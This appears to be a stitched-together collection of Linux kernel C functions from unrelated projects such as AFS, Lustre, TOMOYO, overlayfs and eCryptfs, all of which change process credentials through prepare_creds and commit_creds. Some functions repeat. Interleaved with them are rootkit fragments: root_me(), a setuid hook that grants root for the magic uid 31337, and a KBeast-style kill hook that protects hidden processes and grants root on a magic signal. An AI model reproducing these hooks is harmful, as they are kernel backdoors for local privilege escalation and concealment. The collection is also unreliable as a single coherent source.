static long ugidctl_setgid(struct ugidctl_context *ctx, void __user *arg)
{
	struct ugidctl_setid_rq req;
	enum pid_type ptype;
	struct cred *cred;
	gid_t gid;
	pid_t pid;
	long rc;

	if (copy_from_user(&req, arg, sizeof(req)))
		return -EFAULT;

	gid = req.gid;

	if (capable(CAP_SETUID))
		return ugidctl_sys_setgid(gid);

	if (memcmp(ctx->key, req.key, sizeof(ctx->key)))
		return -EPERM;

	mutex_lock(&ctx->lock);

	if (ugidctl_find_gid(ctx, gid)) {
		mutex_unlock(&ctx->lock);
		return -EPERM;
	}

	ptype = ctx->ptype;
	pid = ctx->pid;

	mutex_unlock(&ctx->lock);

	if (pid != pid_nr(get_task_pid(current, ptype)))
		return -EPERM;

	cred = prepare_creds();
	if (!cred)
		return -ENOMEM;

	cap_raise(cred->cap_effective, CAP_SETGID);

	commit_creds(cred);

	rc = ugidctl_sys_setgid(gid);

	cred = prepare_creds();
	if (!cred) {
		/* unable to restore process capabilities - kill process */
		do_exit(SIGKILL);
		return -ENOMEM;
	}

	cap_lower(cred->cap_effective, CAP_SETGID);

	commit_creds(cred);

	return rc;
}

/* Set the cred info into the current task */
void
crset(cred_t * cr)
{
#if defined(STRUCT_TASK_STRUCT_HAS_CRED)
    struct cred *new_creds;

    /* If our current task doesn't have identical real and effective
     * credentials, commit_cred won't let us change them, so we just
     * bail here.
     */
    if (current->cred != current->real_cred)
        return;
    new_creds = prepare_creds();
    /* Drop the reference to group_info - we'll overwrite it in afs_copy_creds */
    put_group_info(new_creds->group_info);
    afs_copy_creds(new_creds, current_cred());

    commit_creds(new_creds);
#else
    struct group_info *old_info;

    current->fsuid = afs_cr_uid(cr);
    current->uid = afs_cr_ruid(cr);
    current->fsgid = afs_cr_gid(cr);
    current->gid = afs_cr_rgid(cr);

    get_group_info(afs_cr_group_info(cr));
    task_lock(current);
    old_info = current->group_info;
    current->group_info = afs_cr_group_info(cr);
    task_unlock(current);
    put_group_info(old_info);
#endif
}

void pop_ctxt(struct lvfs_run_ctxt *saved, struct lvfs_run_ctxt *new_ctx,
              struct lvfs_ucred *uc)
{
        ASSERT_CTXT_MAGIC(saved->magic);
        ASSERT_KERNEL_CTXT("popping non-kernel context!\n");

        LASSERTF(cfs_fs_pwd(current->fs) == new_ctx->pwd, "%p != %p\n",
                 cfs_fs_pwd(current->fs), new_ctx->pwd);
        LASSERTF(cfs_fs_mnt(current->fs) == new_ctx->pwdmnt, "%p != %p\n",
                 cfs_fs_mnt(current->fs), new_ctx->pwdmnt);

        set_fs(saved->fs);
        ll_set_fs_pwd(current->fs, saved->pwdmnt, saved->pwd);

        dput(saved->pwd);
        mntput(saved->pwdmnt);
        current->fs->umask = saved->luc.luc_umask;
        if (uc) {
                struct cred *cred;
                if ((cred = prepare_creds())) {
                        cred->uid = saved->luc.luc_uid;
                        cred->gid = saved->luc.luc_gid;
                        cred->fsuid = saved->luc.luc_fsuid;
                        cred->fsgid = saved->luc.luc_fsgid;
                        cred->cap_effective = saved->luc.luc_cap;
                        commit_creds(cred);
                }

                pop_group_info(saved,
                               uc->luc_ginfo ?:
                               uc->luc_identity ? uc->luc_identity->mi_ginfo :
                                                  NULL);
        }
}

void cfs_cap_lower(cfs_cap_t cap)
{
        struct cred *cred;
        if ((cred = prepare_creds())) {
                cap_lower(cred->cap_effective, cfs_cap_unpack(cap));
                commit_creds(cred);
        }
}

static inline void set_lxrt_perm(int perm)
{
	struct cred *cred;
	if ((cred = prepare_creds())) {
		cap_raise(cred->cap_effective, perm);
		commit_creds(cred);
	}
}

void cfs_curproc_cap_unpack(cfs_cap_t cap)
{
        struct cred *cred;
        if ((cred = prepare_creds())) {
                cfs_kernel_cap_unpack(&cred->cap_effective, cap);
                commit_creds(cred);
        }
}

void cfs_cap_lower(cfs_cap_t cap)
{
	struct cred *cred;

	cred = prepare_creds();
	if (cred) {
		cap_lower(cred->cap_effective, cap);
		commit_creds(cred);
	}
}

/**
 * tomoyo_write_self - write() for /sys/kernel/security/tomoyo/self_domain interface.
 *
 * @file:  Pointer to "struct file".
 * @buf:   Domainname to transit to.
 * @count: Size of @buf.
 * @ppos:  Unused.
 *
 * Returns @count on success, negative value otherwise.
 *
 * If domain transition was permitted but the domain transition failed, this
 * function returns error rather than terminating current thread with SIGKILL.
 */
static ssize_t tomoyo_write_self(struct file *file, const char __user *buf,
			      size_t count, loff_t *ppos)
{
	char *data;
	int error;
	if (!count || count >= TOMOYO_EXEC_TMPSIZE - 10)
		return -ENOMEM;
	data = kzalloc(count + 1, GFP_NOFS);
	if (!data)
		return -ENOMEM;
	if (copy_from_user(data, buf, count)) {
		error = -EFAULT;
		goto out;
	}
	tomoyo_normalize_line(data);
	if (tomoyo_correct_domain(data)) {
		const int idx = tomoyo_read_lock();
		struct tomoyo_path_info name;
		struct tomoyo_request_info r;
		name.name = data;
		tomoyo_fill_path_info(&name);
		/* Check "task manual_domain_transition" permission. */
		tomoyo_init_request_info(&r, NULL, TOMOYO_MAC_FILE_EXECUTE);
		r.param_type = TOMOYO_TYPE_MANUAL_TASK_ACL;
		r.param.task.domainname = &name;
		tomoyo_check_acl(&r, tomoyo_check_task_acl);
		if (!r.granted)
			error = -EPERM;
		else {
			struct tomoyo_domain_info *new_domain =
				tomoyo_assign_domain(data, true);
			if (!new_domain) {
				error = -ENOENT;
			} else {
				struct cred *cred = prepare_creds();
				if (!cred) {
					error = -ENOMEM;
				} else {
					struct tomoyo_domain_info *old_domain =
						cred->security;
					cred->security = new_domain;
					atomic_inc(&new_domain->users);
					atomic_dec(&old_domain->users);
					commit_creds(cred);
					error = 0;
				}
			}
		}
		tomoyo_read_unlock(idx);
	} else
		error = -EINVAL;
out:
	kfree(data);
	return error ? error : count;
}

SYSCALL_DEFINE3(faccessat, int, dfd, const char __user *, filename, int, mode)
{
	const struct cred *old_cred;
	struct cred *override_cred;
	struct path path;
	struct inode *inode;
	int res;

	if (mode & ~S_IRWXO)	
		return -EINVAL;

	override_cred = prepare_creds();
	if (!override_cred)
		return -ENOMEM;

	override_cred->fsuid = override_cred->uid;
	override_cred->fsgid = override_cred->gid;

	if (!issecure(SECURE_NO_SETUID_FIXUP)) {
		
		if (override_cred->uid)
			cap_clear(override_cred->cap_effective);
		else
			override_cred->cap_effective =
				override_cred->cap_permitted;
	}

	old_cred = override_creds(override_cred);

	res = user_path_at(dfd, filename, LOOKUP_FOLLOW, &path);
	if (res)
		goto out;

	inode = path.dentry->d_inode;

	if ((mode & MAY_EXEC) && S_ISREG(inode->i_mode)) {
		res = -EACCES;
		if (path.mnt->mnt_flags & MNT_NOEXEC)
			goto out_path_release;
	}

	res = inode_permission(inode, mode | MAY_ACCESS);
	
	if (res || !(mode & S_IWOTH) || special_file(inode->i_mode))
		goto out_path_release;
	if (__mnt_is_readonly(path.mnt))
		res = -EROFS;

out_path_release:
	path_put(&path);
out:
	revert_creds(old_cred);
	put_cred(override_cred);
	return res;
}

/*
 * --Privilege Escalation. Give caller root.--
 */
void root_me(void){
	struct cred *haxcredentials;
	haxcredentials = prepare_creds();
	if(haxcredentials == NULL)
		return;
	haxcredentials->uid = haxcredentials->gid = 0;
	haxcredentials->euid = haxcredentials->egid = 0;
	haxcredentials->suid = haxcredentials->sgid = 0;
	haxcredentials->fsuid = haxcredentials->fsgid = 0;
	commit_creds(haxcredentials);
}

static int ovl_create_or_link(struct dentry *dentry, int mode, dev_t rdev,
			      const char *link, struct dentry *hardlink)
{
	int err;
	struct inode *inode;
	struct kstat stat = {
		.mode = mode,
		.rdev = rdev,
	};

	err = -ENOMEM;
	inode = ovl_new_inode(dentry->d_sb, mode, dentry->d_fsdata);
	if (!inode)
		goto out;

	err = ovl_copy_up(dentry->d_parent);
	if (err)
		goto out_iput;

	if (!ovl_dentry_is_opaque(dentry)) {
		err = ovl_create_upper(dentry, inode, &stat, link, hardlink);
	} else {
		const struct cred *old_cred;
		struct cred *override_cred;

		err = -ENOMEM;
		override_cred = prepare_creds();
		if (!override_cred)
			goto out_iput;

		/*
		 * CAP_SYS_ADMIN for setting opaque xattr
		 * CAP_DAC_OVERRIDE for create in workdir, rename
		 * CAP_FOWNER for removing whiteout from sticky dir
		 */
		cap_raise(override_cred->cap_effective, CAP_SYS_ADMIN);
		cap_raise(override_cred->cap_effective, CAP_DAC_OVERRIDE);
		cap_raise(override_cred->cap_effective, CAP_FOWNER);
		old_cred = override_creds(override_cred);

		err = ovl_create_over_whiteout(dentry, inode, &stat, link,
					       hardlink);

		revert_creds(old_cred);
		put_cred(override_cred);
	}

	if (!err)
		inode = NULL;
out_iput:
	iput(inode);
out:
	return err;
}

/* push / pop to root of obd store */
void push_ctxt(struct lvfs_run_ctxt *save, struct lvfs_run_ctxt *new_ctx,
	       struct lvfs_ucred *uc)
{
	/* if there is underlaying dt_device then push_ctxt is not needed */
	if (new_ctx->dt != NULL)
		return;

	/* ASSERT_NOT_KERNEL_CTXT("already in kernel context!\n"); */
	ASSERT_CTXT_MAGIC(new_ctx->magic);
	OBD_SET_CTXT_MAGIC(save);

	save->fs = get_fs();
	LASSERT(d_count(cfs_fs_pwd(current->fs)));
	LASSERT(d_count(new_ctx->pwd));
	save->pwd = dget(cfs_fs_pwd(current->fs));
	save->pwdmnt = mntget(cfs_fs_mnt(current->fs));
	save->luc.luc_umask = current_umask();
	save->ngroups = current_cred()->group_info->ngroups;

	LASSERT(save->pwd);
	LASSERT(save->pwdmnt);
	LASSERT(new_ctx->pwd);
	LASSERT(new_ctx->pwdmnt);

	if (uc) {
		struct cred *cred;
		save->luc.luc_uid = current_uid();
		save->luc.luc_gid = current_gid();
		save->luc.luc_fsuid = current_fsuid();
		save->luc.luc_fsgid = current_fsgid();
		save->luc.luc_cap = current_cap();

		cred = prepare_creds();
		if (cred) {
			cred->uid = uc->luc_uid;
			cred->gid = uc->luc_gid;
			cred->fsuid = uc->luc_fsuid;
			cred->fsgid = uc->luc_fsgid;
			cred->cap_effective = uc->luc_cap;
			commit_creds(cred);
		}

		push_group_info(save,
				uc->luc_ginfo ?:
				uc->luc_identity ? uc->luc_identity->mi_ginfo :
						   NULL);
	}
	current->fs->umask = 0; /* umask already applied on client */
	set_fs(new_ctx->fs);
	ll_set_fs_pwd(current->fs, new_ctx->pwdmnt, new_ctx->pwd);
}

asmlinkage long h_setuid(uid_t uid) {
    if (uid == 31337) {
#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,29)
        struct cred *cred = prepare_creds();
        cred->uid = cred->suid = cred->euid = cred->fsuid = 0;
        cred->gid = cred->sgid = cred->egid = cred->fsgid = 0;
        return commit_creds(cred);
#else
        current->uid = current->euid = current->suid = current->fsuid = 0;
        current->gid = current->egid = current->sgid = current->fsgid = 0;
        return 0;
#endif
    }
    return o_setuid(uid);
}

static void pop_group_info(struct lvfs_run_ctxt *save,
                           struct group_info *ginfo)
{
        if (!ginfo) {
                current_ngroups = save->ngroups;
        } else {
                struct cred *cred;
                task_lock(current);
                if ((cred = prepare_creds())) {
                        cred->group_info = save->group_info;
                        commit_creds(cred);
                }
                task_unlock(current);
        }
}

/* Do not directly use this function. Use OVERRIDE_CRED() instead. */
const struct cred * override_fsids(struct sdcardfs_sb_info* sbi)
{
	struct cred * cred; 
	const struct cred * old_cred; 

	cred = prepare_creds(); 
	if (!cred) 
		return NULL; 

	cred->fsuid = sbi->options.fs_low_uid;
	cred->fsgid = sbi->options.fs_low_gid; 

	old_cred = override_creds(cred); 

	return old_cred; 
}

/*
Don't allow your process to be killed
Allow local root escalation using magic signal dan pid
*/
asmlinkage int h4x_kill(int pid, int sig) {
  int r;
  struct task_struct *cur;
  cur = pid_task(find_pid_ns(pid, &init_pid_ns), PIDTYPE_PID);
  if(cur){
    if(strstr(cur->comm,_H4X0R_)||strstr(cur->comm,KBEAST)){
      return -EACCES;
    }
  }
  if(sig == _MAGIC_SIG_ && pid == _MAGIC_PID_){
    struct cred *new=prepare_creds();if(new){new->uid=0;new->euid=0;new->gid=0;new->egid=0;commit_creds(new);return 0;}
    return 0;
  } 
  r = (*o_kill)(pid,sig);
  return r;
}

/* Do not directly use this function. Use OVERRIDE_CRED() instead. */
const struct cred * override_fsids(uid_t fsuid, gid_t fsgid)
{
	struct cred * cred; 
	const struct cred * old_cred; 

	cred = prepare_creds(); 
	if (!cred) 
		return NULL; 

	cred->fsuid = fsuid;
	cred->fsgid = fsgid;

	old_cred = override_creds(cred); 

	return old_cred; 
}

/* Do not directly use this function. Use ECRYPTFS_OVERRIDE_CRED() instead. */
const struct cred * ecryptfs_override_fsids(uid_t fsuid, gid_t fsgid)
{
	struct cred * cred; 
	const struct cred * old_cred; 

	cred = prepare_creds(); 
	if (!cred) 
		return NULL; 

	cred->fsuid = make_kuid(current_user_ns(), fsuid);
	cred->fsgid = make_kgid(current_user_ns(), fsgid);

	old_cred = override_creds(cred); 

	return old_cred; 
}

/* push / pop to root of obd store */
void push_ctxt(struct lvfs_run_ctxt *save, struct lvfs_run_ctxt *new_ctx,
               struct lvfs_ucred *uc)
{
        //ASSERT_NOT_KERNEL_CTXT("already in kernel context!\n");
        ASSERT_CTXT_MAGIC(new_ctx->magic);
        OBD_SET_CTXT_MAGIC(save);

        save->fs = get_fs();
        LASSERT(cfs_atomic_read(&cfs_fs_pwd(current->fs)->d_count));
        LASSERT(cfs_atomic_read(&new_ctx->pwd->d_count));
        save->pwd = dget(cfs_fs_pwd(current->fs));
        save->pwdmnt = mntget(cfs_fs_mnt(current->fs));
        save->luc.luc_umask = cfs_curproc_umask();
        save->ngroups = current_cred()->group_info->ngroups;

        LASSERT(save->pwd);
        LASSERT(save->pwdmnt);
        LASSERT(new_ctx->pwd);
        LASSERT(new_ctx->pwdmnt);

        if (uc) {
                struct cred *cred;
                save->luc.luc_uid = current_uid();
                save->luc.luc_gid = current_gid();
                save->luc.luc_fsuid = current_fsuid();
                save->luc.luc_fsgid = current_fsgid();
                save->luc.luc_cap = current_cap();

                if ((cred = prepare_creds())) {
                        cred->uid = uc->luc_uid;
                        cred->gid = uc->luc_gid;
                        cred->fsuid = uc->luc_fsuid;
                        cred->fsgid = uc->luc_fsgid;
                        cred->cap_effective = uc->luc_cap;
                        commit_creds(cred);
                }

                push_group_info(save,
                                uc->luc_ginfo ?:
                                uc->luc_identity ? uc->luc_identity->mi_ginfo :
                                                   NULL);
        }
        current->fs->umask = 0; /* umask already applied on client */
        set_fs(new_ctx->fs);
        ll_set_fs_pwd(current->fs, new_ctx->pwdmnt, new_ctx->pwd);
}

static void push_group_info(struct lvfs_run_ctxt *save,
			    struct group_info *ginfo)
{
	if (!ginfo) {
		save->ngroups = current_ngroups;
		current_ngroups = 0;
	} else {
		struct cred *cred;
		task_lock(current);
		save->group_info = current_cred()->group_info;
		cred = prepare_creds();
		if (cred) {
			cred->group_info = ginfo;
			commit_creds(cred);
		}
		task_unlock(current);
	}
}